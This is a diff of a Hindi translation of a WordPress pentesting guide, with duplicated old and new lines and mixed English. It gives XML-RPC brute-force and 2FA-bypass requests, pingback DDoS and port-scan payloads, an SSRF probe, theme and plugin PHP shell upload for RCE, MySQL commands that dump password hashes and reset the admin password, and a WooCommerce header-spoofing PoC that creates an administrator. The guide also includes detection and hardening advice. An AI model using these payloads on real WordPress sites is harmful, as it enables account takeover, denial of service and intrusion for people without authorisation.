Note that this endpoint only exposes users that have made a post. **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है**।
|
||||
Note that this endpoint only exposes users that have made a post. **केवल उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह feature सक्षम है**।
|
||||
|
||||
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Also note that **/wp-json/wp/v2/pages** IP addresses को leak कर सकता है।
|
||||
|
||||
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** अलग होता है और यह दर्शाता है कि **username मौजूद है या नहीं**।
|
||||
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** अलग होता है, जो यह संकेत देता है कि **username मौजूद है या नहीं**।
|
||||
|
||||
### XML-RPC
|
||||
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप credentials brute-force कर सकते हैं या इसे अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए उपयोग कर सकते हैं। (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
यदि `xml-rpc.php` सक्रिय है तो आप credentials पर brute-force कर सकते हैं या इसका उपयोग अन्य resources पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस process को [using this](https://github.com/relarizky/wpxploit) से automate कर सकते हैं)।
|
||||
|
||||
यह सक्रिय है या नहीं देखने के लिए _**/xmlrpc.php**_ तक पहुँचने का प्रयास करें और यह अनुरोध भेजें:
|
||||
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
|
||||
|
||||
**जांचें**
|
||||
**जाँचें**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -122,7 +122,7 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे मेथड्स हैं जिन्हें credentials को brute-force करने के लिए उपयोग किया जा सकता है। यदि आप इनमें से कोई भी ढूंढ़ पाएँ तो आप कुछ ऐसा भेज सकते हैं:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** ऐसे कुछ तरीके हैं जिन्हें brute-force credentials के लिए इस्तेमाल किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ ऐसा भेज सकते हैं:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,15 +132,13 @@ Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
The message _"Incorrect username or password"_ inside a 200 code response should appear if the credentials aren't valid.
|
||||
यदि credentials अमान्य हैं तो 200 code response के अंदर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए।
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
.png>)
|
||||
|
||||
यदि credentials मान्य नहीं हैं तो 200 कोड response के भीतर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए।
|
||||
|
||||
सही credentials का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
सही credentials का उपयोग करके आप एक file अपलोड कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -170,18 +168,18 @@ The message _"Incorrect username or password"_ inside a 200 code response should
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
इसके अलावा, `system.multicall` का उपयोग करके brute-force credentials के लिए एक **तेज़ तरीका** है, क्योंकि आप एक ही रिक्वेस्ट में कई credentials आज़मा सकते हैं:
|
||||
Also there is a **तेज़ तरीका** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
यह विधि प्रोग्राम्स के लिए है, इंसानों के लिए नहीं, और पुरानी होने के कारण यह 2FA को सपोर्ट नहीं करती। इसलिए, अगर आपके पास valid creds हैं लेकिन मुख्य प्रवेश 2FA द्वारा सुरक्षित है, तो **आप xmlrpc.php का दुरुपयोग करके उन creds से 2FA बायपास कर लॉगिन कर सकते हैं**। ध्यान रखें कि आप console के माध्यम से कर पाए जाने वाले सभी actions नहीं कर पाएंगे, लेकिन फिर भी आप RCE तक पहुँच सकते हैं जैसा कि Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है।
|
||||
This method is meant for programs and not for humans, and old, therefore it doesn't support 2FA. So, if you have valid creds but the main entrance is protected by 2FA, **you might be able to abuse xmlrpc.php to login with those creds bypassing 2FA**. Note that you won't be able to perform all the actions you can do through the console, but you might still be able to get to RCE as Ippsec explains it in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
यदि आप list के अंदर _**pingback.ping**_ method को ढूँढ पाते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।\
|
||||
इसे उपयोग करके आप **हज़ारों** Wordpress **साइटों** से एक ही **स्थान** को **एक्सेस** करवाएँगे (जिससे उस स्थान पर **DDoS** होता है), या आप इसे उपयोग करके **Wordpress** को किसी internal **नेटवर्क** पर **स्कैन** करवा सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **हज़ारों** of Wordpress **sites** to **access** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** lo **scan** some internal **network** (you can indicate any port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,9 +191,9 @@ The message _"Incorrect username or password"_ inside a 200 code response should
|
||||
```
|
||||
|
||||
|
||||
यदि आपको **faultCode** का मान **बड़ा** **0** (17) से मिलता है, तो इसका मतलब है कि port खुला है।
|
||||
यदि आपको **faultCode** का मान **0** (17) से **अधिक** मिलता है, तो इसका मतलब पोर्ट खुला है।
|
||||
|
||||
पिछले अनुभाग में **`system.multicall`** के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है।
|
||||
पूर्व अनुभाग में **`system.multicall`** के उपयोग को देखें ताकि आप सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है।
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -211,15 +209,15 @@ The message _"Incorrect username or password"_ inside a 200 code response should
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: **`/wp-cron.php`**\\
|
||||
जब इस फ़ाइल को **एक्सेस** किया जाता है, तो एक "**भारी**" MySQL **query** निष्पादित होती है, इसलिए इसका उपयोग **हमलावर** द्वारा **DoS** **पैदा** करने के लिए किया जा सकता है।\\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` को हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट किसी भी Wordpress पेज का अनुरोध करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
|
||||
यह फ़ाइल आम तौर पर Wordpress साइट की root डायरेक्टरी में मौजूद होती है: **`/wp-cron.php`**\
|
||||
जब इस फ़ाइल को access किया जाता है तो एक **heavy** MySQL **query** चलाई जाती है, इसलिए इसे **attackers** द्वारा **DoS** उत्पन्न करने के लिए इस्तेमाल किया जा सकता है।\
|
||||
इसके अलावा, डिफ़ॉल्ट रूप से `wp-cron.php` को हर page load पर बुलाया जाता है (जब भी कोई client किसी Wordpress पेज को request करता है), जो high-traffic साइट्स पर समस्याएँ पैदा कर सकता है (DoS)।
|
||||
|
||||
सुझाव दिया जाता है कि Wp-Cron को disable करें और host के अंदर एक वास्तविक cronjob बनाएं जो नियमित अंतराल पर आवश्यक कार्यों को निष्पादित करे (बिना समस्याएँ पैदा किए)।
|
||||
सुझाव है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक real cronjob बनाया जाए जो आवश्यक कार्यों को नियमित अंतराल पर चलाए (बिना समस्याएँ पैदा किए)।
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Try to access _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ and the Worpress site may make a request to you.
|
||||
कोशिश करें कि _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ पर पहुँचें और Worpress साइट आपके पास request कर सकती है।
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -232,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
यह टूल चेक करता है कि **methodName: pingback.ping** मौजूद है और पाथ **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और अगर मौजूद हैं तो यह उन्हें exploit करने की कोशिश करता है।
|
||||
यह tool जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद हैं या नहीं और यदि मौजूद हों तो इन्हें exploit करने की कोशिश करता है।
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -242,14 +240,14 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## एक बिट ओवरराइट करके एक्सेस प्राप्त करें
|
||||
|
||||
यह असल हमला होने के बजाय एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट पलट सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` की स्थिति `5389` पर बिट पलटकर NOT (`!`) ऑपरेशन को NOP कर सकते थे।
|
||||
वास्तविक हमले से अधिक यह एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट flip कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के position `5389` का बिट flip करके NOT (`!`) ऑपरेशन को NOP कर सकते थे।
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)**
|
||||
**थीम में उपयोग किए गए php में संशोधन (admin credentials needed)**
|
||||
|
||||
Appearance → Theme Editor → 404 Template (at the right)
|
||||
|
||||
@ -257,7 +255,7 @@ php shell के लिए सामग्री बदलें:
|
||||
|
||||
.png>)
|
||||
|
||||
इंटरनेट पर खोजें कि आप उस अपडेट किए गए पृष्ठ तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ पहुँचना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
इंटरनेट पर खोजें कि आप उस अपडेटेड पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहाँ पहुँचना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -265,67 +263,67 @@ php shell के लिए सामग्री बदलें:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
सत्र प्राप्त करने के लिए।
|
||||
to get a session.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### PHP plugin
|
||||
|
||||
कभी-कभी .php फाइलें plugin के रूप में अपलोड करना संभव हो सकता है।
|
||||
उदाहरण के लिए अपना php backdoor बनाएं:
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
|
||||
.png>)
|
||||
|
||||
फिर एक नया plugin जोड़ें:
|
||||
Then add a new plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Plugin अपलोड करें और Install Now दबाएँ:
|
||||
Upload plugin and press Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Procced पर क्लिक करें:
|
||||
Click on Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
शायद इससे कुछ भी नहीं होगा, लेकिन अगर आप Media में जाएँ तो आप अपना shell अपलोड हुआ देखेंगे:
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
|
||||
.png>)
|
||||
|
||||
इसे access करें और आप reverse shell execute करने का URL देखेंगे:
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
यह तरीका एक ऐसी malicious plugin की installation में शामिल है जिसे vulnerable के रूप में जाना जाता है और जिसका exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से इस प्रकार की जाती है:
|
||||
यह तरीका एक ऐसे malicious plugin की installation को शामिल करता है जो ज्ञात रूप से vulnerable है और इसका exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से इस प्रकार की जाती है:
|
||||
|
||||
1. **Plugin Acquisition**: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, उदाहरण के लिए [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: plugin को किसी स्रोत से प्राप्त किया जाता है जैसे Exploit DB जैसे [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- WordPress dashboard पर जाएँ, फिर `Dashboard > Plugins > Upload Plugin` पर जाएँ।
|
||||
- डाउनलोड किए गए plugin की zip फ़ाइल अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate किया जाना चाहिए।
|
||||
- WordPress dashboard पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
|
||||
- Download किया गया plugin zip file अपलोड करें।
|
||||
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से सक्रिय करना होगा।
|
||||
4. **Exploitation**:
|
||||
- जब "reflex-gallery" plugin install और activate हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
|
||||
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और विशिष्ट कमांड्स execute करके एक meterpreter session स्थापित किया जा सकता है, जो site पर unauthorized access प्रदान कर सकता है।
|
||||
- यह केवल WordPress साइट को exploit करने के कई तरीकों में से एक है।
|
||||
- जब "reflex-gallery" plugin install और activate हो जाता है, तो इसे exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है।
|
||||
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और विशिष्ट commands चलाकर, meterpreter session स्थापित किया जा सकता है, जो site पर unauthorized access देता है।
|
||||
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है।
|
||||
|
||||
सामग्री में WordPress dashboard में plugin install और activate करने के चरणों को दर्शाते हुए दृश्य संदर्भ शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित अनुमति के इस प्रकार vulnerabilities का exploit करना अवैध और अनैतिक है। यह जानकारी ज़िम्मेदारी से और केवल कानूनी संदर्भ में ही उपयोग की जानी चाहिए, जैसे कि penetration testing जब स्पष्ट अनुमति हो।
|
||||
यह सामग्री WordPress dashboard में plugin install और activate करने के चरणों को दिखाने वाले visual aids शामिल करती है। हालांकि, इस प्रकार की vulnerabilities का exploitation उचित अनुमति के बिना illegal और unethical है। यह जानकारी जिम्मेदारी से और केवल कानूनी परिप्रेक्ष्य में उपयोग की जानी चाहिए, जैसे explicit अनुमति के साथ penetration testing।
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
## XSS से RCE तक
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक स्क्रिप्ट है जो **Cross-Site Scripting (XSS)** vulnerability को **Remote Code Execution (RCE)** या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन की गई है WordPress में। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** के लिए सपोर्ट प्रदान करता है और यह अनुमति देता है:
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक script है जिसे **Cross-Site Scripting (XSS)** vulnerability को **Remote Code Execution (RCE)** या WordPress में अन्य critical vulnerabilities में escalate करने के लिए डिजाइन किया गया है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X and 4.X.X** के लिए support प्रदान करता है और निम्नलिखित की अनुमति देता है:
|
||||
- _**Privilege Escalation:**_ WordPress में एक user बनाता है।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर अपलोड करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress में Built-In Plugins को edit करें।
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress में Built-In Themes को edit करें।
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर upload करें।
|
||||
- _**(RCE) Built-In Plugin Edit:**_ WordPress के Built-In Plugins को edit करें।
|
||||
- _**(RCE) Built-In Theme Edit:**_ WordPress के Built-In Themes को edit करें।
|
||||
- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए custom exploits।
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
यूज़रनेम और पासवर्ड निकालें:
|
||||
usernames और passwords निकालें:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
@ -333,29 +331,29 @@ admin password बदलें:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
## Wordpress Plugins Pentest
|
||||
## Wordpress प्लगइन्स Pentest
|
||||
|
||||
### हमले की सतह
|
||||
### हमला सतह
|
||||
|
||||
किस तरह एक Wordpress plugin फ़ंक्शनैलिटी को एक्सपोज़ कर सकता है यह जानना उसकी functionality में vulnerabilities खोजने के लिए अहम है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं।
|
||||
यह जानना कि कोई Wordpress प्लगइन अपनी कार्यक्षमता कैसे उजागर कर सकता है, उसकी कमजोरियों को खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बिंदुओं में देख सकते हैं कि एक प्लगइन किस तरह से functionality उजागर कर सकता है और कुछ उदाहरण कमजोर प्लगइन्स के लिए [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) देखें।
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
एक plugin उपयोगकर्ताओं के लिए फ़ंक्शन्स एक्सपोज़ करने के तरीकों में से एक AJAX handlers के जरिए होता है। इनमें लॉजिक, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये फ़ंक्शन्स authentication और authorization दोनों को wordpress nonce की मौजूदगी पर आधारित कर देते हैं, जो **Wordpress instance में authenticated किसी भी user के पास हो सकता है** (चाहे उसकी role कोई भी हो)।
|
||||
एक तरीका जिससे कोई प्लगइन उपयोगकर्ताओं के लिए फंक्शन्स को एक्सपोज़ कर सकता है वह है AJAX handlers के जरिए। इनमें logic, authorization, या authentication bugs हो सकते हैं। इसके अलावा, अक्सर ये फ़ंक्शन्स authentication और authorization दोनों को Wordpress nonce के अस्तित्व पर आधारित रखती हैं, जो **किसी भी user जिसे Wordpress instance में authenticated किया गया है** के पास हो सकता है (उसके role की परवाह किए बिना)।
|
||||
|
||||
ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:
|
||||
ये वे functions हैं जिनका उपयोग प्लगइन में किसी function को expose करने के लिए किया जा सकता है:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**`nopriv`` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) द्वारा पहुँच योग्य बना देता है।**
|
||||
**`nopriv` के उपयोग से endpoint किसी भी user के लिए accessible हो जाता है (यहाँ तक कि अप्रमाणीकृत उपयोगकर्ताओं के लिए भी)।**
|
||||
|
||||
> [!CAUTION]
|
||||
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जांच कर रहा है, तो यह फ़ंक्शन केवल यह जांचता है कि उपयोगकर्ता लॉग इन है; यह आमतौर पर उपयोगकर्ता की भूमिका की जांच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली क्रियाओं की पहुँच मिल सकती है।
|
||||
> इसके अलावा, यदि फ़ंक्शन उपयोगकर्ता के प्राधिकरण की जाँच केवल `wp_verify_nonce` फ़ंक्शन के साथ कर रहा है, तो यह फ़ंक्शन सिर्फ यह सत्यापित करता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं को उच्च-विशेषाधिकार वाली कार्रवाइयों तक पहुँच मिल सकती है।
|
||||
|
||||
- **REST API**
|
||||
|
||||
यह भी संभव है कि wordpress में `register_rest_route` फ़ंक्शन का उपयोग करके functions को expose किया जाए:
|
||||
यह भी संभव है कि wordpress से फंक्शन्स को expose किया जाए, `register_rest_route` फ़ंक्शन का उपयोग करके REST API रजिस्टर करके:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -365,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
The `permission_callback` एक callback फ़ंक्शन है जो जाँच करता है कि दिया गया उपयोगकर्ता API method को कॉल करने के लिए अधिकृत है या नहीं।
|
||||
The `permission_callback` एक callback फ़ंक्शन है जो जाँचता है कि दिया गया उपयोगकर्ता API method को कॉल करने के लिए अधिकृत है या नहीं।
|
||||
|
||||
**If the built-in `__return_true` function is used, it'll simply skip user permissions check.**
|
||||
|
||||
- **Direct access to the php file**
|
||||
- **php फ़ाइल तक सीधे एक्सेस**
|
||||
|
||||
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फ़ाइलें वेब से सीधे सुलभ होती हैं। इसलिए, यदि कोई plugin ऐसी कोई vulnerable functionality उजागर कर रहा है जो केवल फ़ाइल तक पहुँचने से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी।
|
||||
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की files वेब से सीधे उपलब्ध होती हैं। इसलिए, यदि किसी plugin में ऐसी कोई vulnerable functionality एक्सपोज़ हो रही है जो केवल फ़ाइल को एक्सेस करने मात्र से ट्रिगर हो जाती है, तो उसे कोई भी उपयोगकर्ता exploit कर सकता है।
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान user context सेट करने के लिए करते हैं। यदि वह header किसी upstream component द्वारा cryptographically request के साथ bound नहीं है, तो एक attacker उसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है।
|
||||
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” शॉर्टकट लागू करते हैं और फिर उस header का उपयोग REST requests के लिए वर्तमान उपयोगकर्ता context सेट करने हेतु करते हैं। यदि वह header किसी upstream component द्वारा cryptographically request से बाउंड नहीं है, तो एक attacker उसे spoof करके privileged REST routes को administrator के रूप में हिट कर सकता है।
|
||||
|
||||
- Impact: core users REST route के माध्यम से एक नया administrator बनाकर unauthenticated privilege escalation to admin।
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 को मजबूर करता है — आम तौर पर पहला administrator account)।
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ।
|
||||
- प्रभाव: अनऑथेन्टिकेटेड privilege escalation to admin — core users REST route के माध्यम से नया administrator बनाकर।
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forces user ID 1, typically the first administrator account).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -395,38 +393,38 @@ Content-Length: 114
|
||||
```
|
||||
Why it works
|
||||
|
||||
- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकृत स्थिति से मैप करता है और capability checks को स्किप कर देता है।
|
||||
- WordPress core इस route के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बायपास करता है, हेडर से सीधे वर्तमान उपयोगकर्ता संदर्भ सेट करके।
|
||||
- प्लगइन क्लाइंट-नियंत्रित header को authentication state से मैप करता है और capability checks को छोड़ देता है।
|
||||
- WordPress core इस route के लिए `create_users` capability की उम्मीद करता है; प्लगइन का hack इसे bypass कर देता है — सीधे header से current user context सेट करके।
|
||||
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 201, एक JSON बॉडी के साथ जो बनाए गए उपयोगकर्ता का विवरण देती है।
|
||||
- एक नया admin उपयोगकर्ता `wp-admin/users.php` में दिखाई देगा।
|
||||
- HTTP 201 with a JSON body describing the created user.
|
||||
- A new admin user visible in `wp-admin/users.php`.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- `getallheaders()`, `$_SERVER['HTTP_...']`, या उन vendor SDKs के लिए grep करें जो कस्टम हेडर पढ़कर उपयोगकर्ता संदर्भ सेट करते हैं (उदा., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- उन REST registrations की समीक्षा करें जहाँ privileged callbacks के पास मजबूत `permission_callback` चेक्स नहीं हैं और वे अनुरोध हेडरों पर निर्भर करते हैं।
|
||||
- REST handlers के अंदर core user-management functions (`wp_insert_user`, `wp_create_user`) के उपयोग खोजें जिन्हें केवल हेडर मानों द्वारा gated किया गया है।
|
||||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Review REST registrations for privileged callbacks that lack robust `permission_callback` checks and instead rely on request headers.
|
||||
- Look for usages of core user-management functions (`wp_insert_user`, `wp_create_user`) inside REST handlers that are gated only by header values.
|
||||
|
||||
Hardening
|
||||
|
||||
- कभी भी क्लाइंट-नियंत्रित हेडरों से प्रमाणीकरण या प्राधिकरण न निकाले।
|
||||
- यदि एक reverse proxy को identity इंजेक्ट करनी ही है, तो proxy पर ट्रस्ट समाप्त करें और इनबाउंड कॉपियाँ हटा दें (उदा., `unset X-Wcpay-Platform-Checkout-User` at the edge), फिर एक signed token पास करें और इसे server-side पर सत्यापित करें।
|
||||
- विशेषाधिकार वाले कार्य करने वाले REST routes के लिए `current_user_can()` चेक्स और एक कड़ा `permission_callback` आवश्यक करें (`__return_true` का उपयोग न करें)।
|
||||
- हेडर “impersonation” की बजाय first-party auth (cookies, application passwords, OAuth) को प्राथमिकता दें।
|
||||
- Never derive authentication or authorization from client-controlled headers.
|
||||
- If a reverse proxy must inject identity, terminate trust at the proxy and strip inbound copies (e.g., `unset X-Wcpay-Platform-Checkout-User` at the edge), then pass a signed token and verify it server-side.
|
||||
- For REST routes performing privileged actions, require `current_user_can()` checks and a strict `permission_callback` (do NOT use `__return_true`).
|
||||
- Prefer first-party auth (cookies, application passwords, OAuth) over header “impersonation”.
|
||||
|
||||
